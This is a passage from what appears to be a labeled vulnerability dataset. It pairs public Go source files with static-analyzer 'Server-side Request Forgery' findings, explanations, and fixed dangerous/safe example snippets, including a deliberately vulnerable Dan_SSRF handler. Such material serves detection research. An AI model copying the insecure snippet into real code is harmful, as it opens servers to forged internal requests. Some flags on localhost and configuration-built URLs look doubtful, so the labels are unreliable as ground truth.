episode)\n\t\t}\n\t}\n\treturn filtered\n}\n\nfunc download(show Show) int {\n\tfmt.Printf(\"Download from %s\\n\", show.Name)\n\tdownloaded := 0\n\n\t// get latest season\n\treq := buildReq(show.URL)\n\tresponse, err := client.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer response.Body.Close()\n\tdoc, _ := goquery.NewDocumentFromReader(response.Body)\n\tlastSeason := doc.Find(\"#sl button\").Last().Text()\n\tfmt.Println(\" season \", lastSeason)\n\n\t// get subtitles\n\turl := fmt.Sprintf(\"http://www.addic7ed.com/ajax_loadShow.php?show=%s&season=%s&langs=&hd=undefined&hi=undefined\", show.ID, lastSeason)\n\treq = buildReq(url)\n\tresponse, err = client.Do(req)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer response.Body.Close()\n\tdoc, _ = goquery.NewDocumentFromReader(response.Body)\n\n\tapplang := appconfig.UString(\"language\", \"English\")\n\tepisodes := make([]Episode, 0)\n\tdoc.Find(\"#season .completed\").Each(func(i int, s *goquery.Selection) {\n\t\ttds := s.Find(\"td\")\n\t\turl, _ := tds.Eq(9).Find(\"a\").Attr(\"href\")\n\t\tepisode := Episode{\n\t\t\tSeason: tds.Eq(0).Text(),\n\t\t\tEpisode: tds.Eq(1).Text(),\n\t\t\tLang: tds.Eq(3).Text(),\n\t\t\tVersion: tds.Eq(4).Text(),\n\t\t\tCompleted: tds.Eq(5).Text() == \"Completed\",\n\t\t\tURL: \"http://www.addic7ed.com\" + url,\n\t\t}\n\t\tif episode.Completed && episode.Lang == applang {\n\t\t\tepisodes = append(episodes, episode)\n\t\t}\n\t})\n\tepisodes = filterWithHistory(episodes)\n\n\t// download\n\tfor _, episode := range episodes {\n\t\tfmt.Println(\" download episode\", episode.Episode, \"version\", episode.Version)\n\t\treq = buildReq(episode.URL)\n\t\treq.Header.Add(\"Referer\", \"http://www.addic7ed.com/season/\"+show.ID+\"/\"+episode.Season)\n\t\tresponse, _ = client.Do(req)\n\t\tfilename := response.Header[\"Content-Disposition\"][0]\n\t\tfilename = filename[len(\"attachment; filename=\")+1 : len(filename)-1]\n\t\tfilename = filepath.Join(appconfig.UString(\"directory\", \".\"), filename)\n\t\toutput, _ := os.Create(filename)\n\t\tio.Copy(output, response.Body)\n\t\toutput.Close()\n\t\tresponse.Body.Close()\n\t\tdownloaded++\n\n\t\thistory = append(history, HistoryEntry{Name: show.Name, URL: episode.URL})\n\t}\n\n\treturn downloaded\n}\n\nfunc main() {\n\tfmt.Println(\"Addic7eddler - Go Version\")\n\tappconfig = loadConfig()\n\thistory = loadHistory()\n\tcookies, _ := cookiejar.New(nil)\n\tclient = &http.Client{\n\t\tJar: cookies,\n\t}\n\tshows := getAllShows()\n\tfmt.Printf(\"%d shows available\\n\", len(shows))\n\tshows = pickShows(shows)\n\tfmt.Printf(\"%d filtered shows\\n\", len(shows))\n\n\tdownloaded := 0\n\tfor _, show := range shows {\n\t\tdownloaded += download(show)\n\t}\n\n\tfmt.Printf(\"%d file downloaded\\n\", downloaded)\n\n\tsaveHistory()\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 77, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "c71bf9c302b810ef62446cc84872eff7ac876c8ac3e95b5a0f90421a24b1e2bb", "license": {"spdx": ["Apache-2.0"], "repo": "tianyaliu/fabric", "path": "internal/osnadmin/join.go", "repo_head_hexsha": "70ace58ae902318489894a5cd7b4e6ecea00bb5e", "stack_hexsha": "e4991211ffa7c88c77f5629269d30b4a87b71bfb", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 42, "entireCode": "/*\nCopyright IBM Corp. All Rights Reserved.\n\nSPDX-License-Identifier: Apache-2.0\n*/\n\npackage osnadmin\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n)\n\n// Joins an OSN to a new or existing channel.\nfunc Join(osnURL string, blockBytes []byte, caCertPool *x509.CertPool, tlsClientCert tls.Certificate) (*http.Response, error) {\n\turl := fmt.Sprintf(\"%s/participation/v1/channels\", osnURL)\n\treq, err := createJoinRequest(url, blockBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn httpDo(req, caCertPool, tlsClientCert)\n}\n\nfunc createJoinRequest(url string, blockBytes []byte) (*http.Request, error) {\n\tjoinBody := new(bytes.Buffer)\n\twriter := multipart.NewWriter(joinBody)\n\tpart, err := writer.CreateFormFile(\"config-block\", \"config.block\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpart.Write(blockBytes)\n\terr = writer.Close()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treq, err := http.NewRequest(http.MethodPost, url, joinBody)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Set(\"Content-Type\", writer.FormDataContentType())\n\n\treturn req, nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 42, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "c33adf37ccd9c9aa58ba71bb1fc6e5cecd1d1eaaed3275723d012bda2bb726a5", "license": {"spdx": ["Apache-2.0"], "repo": "thang14/cosmos-sdk", "path": "tests/util.go", "repo_head_hexsha": "a8e9002db652cc4713e6b7d0dbc3732076d4f66b", "stack_hexsha": "9e2c0d0446f3182ecb8afdbf7285a5328aa08c42", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 84, "entireCode": "package tests\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"time\"\n\n\tamino \"github.com/tendermint/go-amino\"\n\ttmclient \"github.com/tendermint/tendermint/rpc/client\"\n\tctypes \"github.com/tendermint/tendermint/rpc/core/types\"\n\trpcclient \"github.com/tendermint/tendermint/rpc/lib/client\"\n)\n\n// Wait for the next tendermint block from the Tendermint RPC\n// on localhost\nfunc WaitForNextHeightTM(port string) {\n\turl := fmt.Sprintf(\"http://localhost:%v\", port)\n\tcl := tmclient.NewHTTP(url, \"/websocket\")\n\tresBlock, err := cl.Block(nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\twaitForHeightTM(resBlock.Block.Height+1, url)\n}\n\n// Wait for the given height from the Tendermint RPC\n// on localhost\nfunc WaitForHeightTM(height int64, port string) {\n\turl := fmt.Sprintf(\"http://localhost:%v\", port)\n\twaitForHeightTM(height, url)\n}\n\nfunc waitForHeightTM(height int64, url string) {\n\tcl := tmclient.NewHTTP(url, \"/websocket\")\n\tfor {\n\t\t// get url, try a few times\n\t\tvar resBlock *ctypes.ResultBlock\n\t\tvar err error\n\tINNER:\n\t\tfor i := 0; i < 5; i++ {\n\t\t\tresBlock, err = cl.Block(nil)\n\t\t\tif err == nil {\n\t\t\t\tbreak INNER\n\t\t\t}\n\t\t\ttime.Sleep(time.Millisecond * 200)\n\t\t}\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tif resBlock.Block != nil &&\n\t\t\tresBlock.Block.Height >= height {\n\t\t\tfmt.Println(\"HEIGHT\", resBlock.Block.Height)\n\t\t\treturn\n\t\t}\n\t\ttime.Sleep(time.Millisecond * 100)\n\t}\n}\n\n// Wait for height from the LCD API on localhost\nfunc WaitForHeight(height int64, port string) {\n\turl := fmt.Sprintf(\"http://localhost:%v/blocks/latest\", port)\n\twaitForHeight(height, url)\n}\n\n// Whether or not an HTTP status code was \"successful\"\nfunc StatusOK(statusCode int) bool {\n\tswitch statusCode {\n\tcase http.StatusOK:\n\tcase http.StatusCreated:\n\tcase http.StatusNoContent:\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc waitForHeight(height int64, url string) {\n\tfor {\n\t\t// get url, try a few times\n\t\tvar res *http.Response\n\t\tvar err error\n\t\tfor i := 0; i < 5; i++ {\n\t\t\tres, err = http.Get(url)\n\t\t\tif err == nil && StatusOK(res.StatusCode) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\ttime.Sleep(time.Millisecond * 200)\n\t\t}\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tbody, err := ioutil.ReadAll(res.Body)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tres.Body.Close()\n\n\t\tvar resultBlock ctypes.ResultBlock\n\t\terr = cdc.UnmarshalJSON([]byte(body), &resultBlock)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"RES\", res)\n\t\t\tfmt.Println(\"BODY\", string(body))\n\t\t\tpanic(err)\n\t\t}\n\n\t\tif resultBlock.Block != nil &&\n\t\t\tresultBlock.Block.Height >= height {\n\t\t\treturn\n\t\t}\n\t\ttime.Sleep(time.Millisecond * 100)\n\t}\n}\n\n// wait for tendermint to start\nfunc WaitForStart(port string) {\n\tvar err error\n\tfor i := 0; i < 5; i++ {\n\t\ttime.Sleep(time.Second)\n\n\t\turl := fmt.Sprintf(\"http://localhost:%v/blocks/latest\", port)\n\n\t\t// get url, try a few times\n\t\tvar res *http.Response\n\t\tres, err = http.Get(url)\n\t\tif err == nil || res == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\t// waiting for server to start ...\n\t\tif res.StatusCode != http.StatusOK {\n\t\t\tres.Body.Close()\n\t\t\treturn\n\t\t}\n\t}\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\n// TODO: these functions just print to Stdout.\n// consider using the logger.\n\n// Wait for the RPC server to respond to /status\nfunc WaitForRPC(laddr string) {\n\tfmt.Println(\"LADDR\", laddr)\n\tclient := rpcclient.NewJSONRPCClient(laddr)\n\tctypes.RegisterAmino(client.Codec())\n\tresult := new(ctypes.ResultStatus)\n\tfor {\n\t\t_, err := client.Call(\"status\", map[string]interface{}{}, result)\n\t\tif err == nil {\n\t\t\treturn\n\t\t}\n\t\tfmt.Printf(\"Waiting for RPC server to start on %s:%v\\n\", laddr, err)\n\t\ttime.Sleep(time.Millisecond)\n\t}\n}\n\nvar cdc = amino.NewCodec()\n\nfunc init() {\n\tctypes.RegisterAmino(cdc)\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 84, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "131cff89015320877ef4bf89982b6fa00a51203620f252ae238a1657c73d2e1d", "license": {"spdx": ["MIT"], "repo": "mvmaasakkers/elasticsearch-export", "path": "http.go", "repo_head_hexsha": "5cbc5ad6303d05297b5003652b50a837618687a3", "stack_hexsha": "26a2d58350b78fa002f9a5ab0f239118d117d54e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 23, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\tu \"net/url\"\n)\n\n// Get Executes the ES query and returns results in an ElasticSearchResponse struct\nfunc Get(amount, from int64, query string) (*ElasticSearchResponse, error) {\n\tclient := &http.Client{}\n\n\turl := fmt.Sprintf(\"http://%s:%s/%s/_search?size=%d&from=%d\", *sourceHostname, *sourcePort, *sourceIndex, amount, from)\n\n\tif query != \"\" {\n\t\turl += fmt.Sprintf(\"&q=%s\", u.QueryEscape(query))\n\t}\n\n\treq, errNR := http.NewRequest(\"GET\", url, nil)\n\tif errNR != nil {\n\t\treturn nil, errNR\n\t}\n\tresp, errDO := client.Do(req)\n\tif errDO != nil {\n\t\treturn nil, errDO\n\t}\n\n\t//\n\tbody, errRA := ioutil.ReadAll(resp.Body)\n\tif errRA != nil {\n\t\treturn nil, errRA\n\t}\n\tresp.Body.Close()\n\telasticSearchResponse := &ElasticSearchResponse{}\n\n\terrJSON := json.Unmarshal(body, elasticSearchResponse)\n\tif errJSON != nil {\n\t\treturn nil, errJSON\n\t}\n\n\treturn elasticSearchResponse, nil\n}\n\n// GetMapping gets mapping data from the source ElasticSearch server\nfunc GetMapping() (map[string]ElasticMapping, error) {\n\tem := make(map[string]ElasticMapping)\n\tclient := &http.Client{}\n\n\turl := fmt.Sprintf(\"http://%s:%s/%s/_mapping\", *sourceHostname, *sourcePort, *sourceIndex)\n\tlog.Println(\"Get mapping\", *sourceIndex)\n\treq, errNR := http.NewRequest(\"GET\", url, nil)\n\tif errNR != nil {\n\t\treturn em, errNR\n\t}\n\tresp, errDO := client.Do(req)\n\tif errDO != nil {\n\t\treturn em, errDO\n\t}\n\n\t//\n\tbody, errRA := ioutil.ReadAll(resp.Body)\n\tif errRA != nil {\n\t\treturn em, errRA\n\t}\n\tresp.Body.Close()\n\n\tjson.Unmarshal(body, &em)\n\n\treturn em, nil\n}\n\n// PutMapping puts the mapping from the source ES server to the destination ES server\nfunc PutMapping(indexType string, mapping interface{}) error {\n\tdata, _ := json.Marshal(mapping)\n\n\tclient := &http.Client{}\n\n\turl := fmt.Sprintf(\"http://%s:%s/%s/_mapping/%s\", *destinationHostname, *destinationPort, *destinationIndex, indexType)\n\tlog.Println(\"Put mapping\", *destinationIndex, \"for type\", indexType)\n\treq, errNR := http.NewRequest(\"PUT\", url, bytes.NewBuffer(data))\n\tif errNR != nil {\n\t\treturn errNR\n\t}\n\t_, errDO := client.Do(req)\n\tif errDO != nil {\n\t\treturn errDO\n\t}\n\n\treturn nil\n}\n\n// Put send the bulk data to the Bulk api\nfunc Put(data []byte) (*ElasticBulkResponse, error) {\n\tclient := &http.Client{}\n\n\turl := fmt.Sprintf(\"http://%s:%s/_bulk\", *destinationHostname, *destinationPort)\n\n\treq, errNR := http.NewRequest(\"POST\", url, bytes.NewBuffer(data))\n\tif errNR != nil {\n\t\treturn nil, errNR\n\t}\n\tresp, errDO := client.Do(req)\n\tif errDO != nil {\n\t\treturn nil, errDO\n\t}\n\n\tbody, errRA := ioutil.ReadAll(resp.Body)\n\tif errRA != nil {\n\t\treturn nil, errRA\n\t}\n\tresp.Body.Close()\n\n\tebr := &ElasticBulkResponse{}\n\terrJSON := json.Unmarshal(body, ebr)\n\tif errJSON != nil {\n\t\treturn nil, errJSON\n\t}\n\n\treturn ebr, nil\n}\n\n// ElasticIndex is the default index struct\ntype ElasticIndex struct {\n\tIndex struct {\n\t\tID string `json:\"_id\"`\n\t\tIndex string `json:\"_index\"`\n\t\tType string `json:\"_type\"`\n\t} `json:\"index\"`\n}\n\n// Bulk creates bulk data update\nfunc (e *ElasticSearchResponse) Bulk() ([]byte, error) {\n\tvar data []byte\n\tvar endLine = []byte(\"\\n\")\n\n\tfor _, hit := range e.Hits.Hits {\n\t\tei := ElasticIndex{}\n\t\tei.Index.Index = *destinationIndex\n\t\tei.Index.ID = hit.ID\n\t\tei.Index.Type = hit.Type\n\n\t\thitID, errJSON := json.Marshal(ei)\n\t\tif errJSON != nil {\n\t\t\treturn []byte{}, errJSON\n\t\t}\n\t\thitID = append(hitID, endLine...)\n\n\t\tdata = append(data, hitID...)\n\t\tdata = append(data, []byte(hit.Source)...)\n\t\tdata = append(data, endLine...)\n\t}\n\n\treturn data, nil\n}\n\n// CheckIndex checks if the index exists on destination and creates it if it is not.\nfunc CheckIndex() error {\n\tclient := &http.Client{}\n\n\turl := fmt.Sprintf(\"http://%s:%s/%s/_status\", *destinationHostname, *destinationPort, *destinationIndex)\n\n\tlog.Printf(\"Checking if index %s exists\\n\", *destinationIndex)\n\n\treq, errNR := http.NewRequest(\"GET\", url, nil)\n\tif errNR != nil {\n\t\treturn errNR\n\t}\n\tresp, errDO := client.Do(req)\n\tif errDO != nil {\n\t\treturn errDO\n\t}\n\n\tif resp.StatusCode == 404 {\n\t\turl := fmt.Sprintf(\"http://%s:%s/%s/\", *destinationHostname, *destinationPort, *destinationIndex)\n\t\tlog.Printf(\"Creating index %s\\n\", *destinationIndex)\n\t\treq, errNR := http.NewRequest(\"PUT\", url, nil)\n\t\tif errNR != nil {\n\t\t\treturn errNR\n\t\t}\n\t\t_, errDO := client.Do(req)\n\t\tif errDO != nil {\n\t\t\treturn errDO\n\t\t}\n\t}\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 23, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "73976685943dcf2df10910eb8a783ac130f545beb8c60bbcb3a6541ea68d9c71", "license": {"spdx": ["Apache-2.0"], "repo": "joseph-v/soda-dock", "path": "contrib/drivers/filesharedrivers/chubaofs/util.go", "repo_head_hexsha": "9f83d0f52faf3efb2cb8faa9a515ac9ff9a8ab29", "stack_hexsha": "b13be18a6de6f5c331ff5e16a78e437c2d3b40bc", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 125, "entireCode": "package chubaofs\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\tlog \"github.com/golang/glog\"\n\tpb \"github.com/opensds/soda-dock/pkg/model/proto\"\n)\n\ntype RequestType int\n\nfunc (t RequestType) String() string {\n\tswitch t {\n\tcase createVolumeRequest:\n\t\treturn \"CreateVolume\"\n\tcase deleteVolumeRequest:\n\t\treturn \"DeleteVolume\"\n\tdefault:\n\t}\n\treturn \"N/A\"\n}\n\nconst (\n\tcreateVolumeRequest RequestType = iota\n\tdeleteVolumeRequest\n)\n\ntype clusterInfoResponseData struct {\n\tLeaderAddr string `json:\"LeaderAddr\"`\n}\n\ntype clusterInfoResponse struct {\n\tCode int `json:\"code\"`\n\tMsg string `json:\"msg\"`\n\tData *clusterInfoResponseData `json:\"data\"`\n}\n\n// Create and Delete Volume Response\ntype generalVolumeResponse struct {\n\tCode int `json:\"code\"`\n\tMsg string `json:\"msg\"`\n\tData string `json:\"data\"`\n}\n\n/*\n * This functions sends http request to the on-premise cluster to\n * get cluster info.\n */\nfunc getClusterInfo(host string) (string, error) {\n\turl := \"http://\" + host + \"/admin/getCluster\"\n\tlog.Infof(\"chubaofs: GetClusterInfo(%v)\", url)\n\n\thttpResp, err := http.Get(url)\n\tif err != nil {\n\t\tlog.Errorf(\"chubaofs: failed to GetClusterInfo, url(%v) err(%v)\", url, err)\n\t\treturn \"\", err\n\t}\n\tdefer httpResp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(httpResp.Body)\n\tif err != nil {\n\t\tlog.Errorf(\"chubaofs: failed to read response, url(%v) err(%v)\", url, err)\n\t\treturn \"\", err\n\t}\n\n\tresp := &clusterInfoResponse{}\n\tif err = json.Unmarshal(body, resp); err != nil {\n\t\terrmsg := fmt.Sprintf(\"chubaofs: getClusterInf failed to unmarshal, bodyLen(%d) err(%v)\", len(body), err)\n\t\tlog.Error(errmsg)\n\t\treturn \"\", errors.New(errmsg)\n\t}\n\n\tlog.Infof(\"chubaofs: GetClusterInfo, url(%v), resp(%v)\", url, resp)\n\n\tif resp.Code != 0 {\n\t\terrmsg := fmt.Sprintf(\"chubaofs: GetClusterInfo code NOK, url(%v) code(%v) msg(%v)\", url, resp.Code, resp.Msg)\n\t\tlog.Error(errmsg)\n\t\treturn \"\", errors.New(errmsg)\n\t}\n\n\tif resp.Data == nil {\n\t\terrmsg := fmt.Sprintf(\"chubaofs: GetClusterInfo nil data, url(%v) code(%v) msg(%v)\", url, resp.Code, resp.Msg)\n\t\tlog.Error(errmsg)\n\t\treturn \"\", errors.New(errmsg)\n\t}\n\n\treturn resp.Data.LeaderAddr, nil\n}\n\n/*\n * This function sends http request to the on-premise cluster to create\n * or delete a volume according to request type.\n */\nfunc createOrDeleteVolume(req RequestType, leader, name, owner string, size int64) error {\n\tvar url string\n\n\tswitch req {\n\tcase createVolumeRequest:\n\t\tsizeInGB := size\n\t\turl = fmt.Sprintf(\"http://%s/admin/createVol?name=%s&capacity=%v&owner=%v\", leader, name, sizeInGB, owner)\n\tcase deleteVolumeRequest:\n\t\tkey := md5.New()\n\t\tif _, err := key.Write([]byte(owner)); err != nil {\n\t\t\treturn errors.New(fmt.Sprintf(\"chubaofs: failed to get md5 sum of owner err(%v)\", err))\n\t\t}\n\t\turl = fmt.Sprintf(\"http://%s/vol/delete?name=%s&authKey=%v\", leader, name, hex.EncodeToString(key.Sum(nil)))\n\tdefault:\n\t\treturn errors.New(\"chubaofs: request type not recognized! %v\")\n\t}\n\n\tlog.Infof(\"chubaofs: %v url(%v)\", req, url)\n\n\thttpResp, err := http.Get(url)\n\tif err != nil {\n\t\terrmsg := fmt.Sprintf(\"chubaofs: %v failed, url(%v) err(%v)\", req, url, err)\n\t\treturn errors.New(errmsg)\n\t}\n\tdefer httpResp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(httpResp.Body)\n\tif err != nil {\n\t\terrmsg := fmt.Sprintf(\"chubaofs: %v failed to read http response body, bodyLen(%d) err(%v)\", req, len(body), err)\n\t\treturn errors.New(errmsg)\n\t}\n\n\tresp := &generalVolumeResponse{}\n\tif err := json.Unmarshal(body, resp); err != nil {\n\t\terrmsg := fmt.Sprintf(\"chubaofs: %v failed to unmarshal, url(%v) msg(%v)\", req, url, resp.Msg)\n\t\treturn errors.New(errmsg)\n\t}\n\n\tif resp.Code != 0 {\n\t\terrmsg := fmt.Sprintf(\"chubaofs: %v failed, url(%v) code(%v) msg(%v)\", req, url, resp.Code, resp.Msg)\n\t\treturn errors.New(errmsg)\n\t}\n\n\tlog.Infof(\"chubaofs: %v url(%v) successful!\", req, url)\n\treturn nil\n}\n\nfunc doMount(cmdName string, confFile []string) error {\n\tenv := []string{\n\t\tfmt.Sprintf(\"PATH=%s\", os.Getenv(\"PATH\")),\n\t}\n\n\tfor _, conf := range confFile {\n\t\tcmd := exec.Command(cmdName, \"-c\", conf)\n\t\tcmd.Env = append(cmd.Env, env...)\n\t\tif msg, err := cmd.CombinedOutput(); err != nil {\n\t\t\treturn errors.New(fmt.Sprintf(\"chubaofs: failed to start client daemon, msg: %v , err: %v\", string(msg), err))\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc doUmount(mntPoints []string) error {\n\tenv := []string{\n\t\tfmt.Sprintf(\"PATH=%s\", os.Getenv(\"PATH\")),\n\t}\n\n\tfor _, mnt := range mntPoints {\n\t\tcmd := exec.Command(\"umount\", mnt)\n\t\tcmd.Env = append(cmd.Env, env...)\n\t\tmsg, err := cmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\treturn errors.New(fmt.Sprintf(\"chubaofs: failed to umount, msg: %v , err: %v\", msg, err))\n\t\t}\n\t}\n\treturn nil\n}\n\n/*\n * This function creates client config files according to export locations.\n */\nfunc prepareConfigFiles(d *Driver, opt *pb.CreateFileShareOpts) (configFiles, fsMntPoints []string, owner string, err error) {\n\tvolName := opt.GetId()\n\tconfigFiles = make([]string, 0)\n\tfsMntPoints = make([]string, 0)\n\n\t/*\n\t * Check client runtime path.\n\t */\n\tfi, err := os.Stat(d.conf.ClientPath)\n\tif err != nil || !fi.Mode().IsDir() {\n\t\terr = errors.New(fmt.Sprintf(\"chubaofs: invalid client runtime path, path: %v, err: %v\", d.conf.ClientPath, err))\n\t\treturn\n\t}\n\n\tclientConf := path.Join(d.conf.ClientPath, volName, \"conf\")\n\tclientLog := path.Join(d.conf.ClientPath, volName, \"log\")\n\tclientWarnLog := path.Join(d.conf.ClientPath, volName, \"warnlog\")\n\n\tif err = os.MkdirAll(clientConf, os.ModeDir); err != nil {\n\t\terr = errors.New(fmt.Sprintf(\"chubaofs: failed to create client config dir, path: %v , err: %v\", clientConf, err))\n\t\treturn\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tlog.Warningf(\"chubaofs: cleaning config dir, %v\", clientConf)\n\t\t\tos.RemoveAll(clientConf)\n\t\t}\n\t}()\n\n\tif err = os.MkdirAll(clientLog, os.ModeDir); err != nil {\n\t\terr = errors.New(fmt.Sprintf(\"chubaofs: failed to create 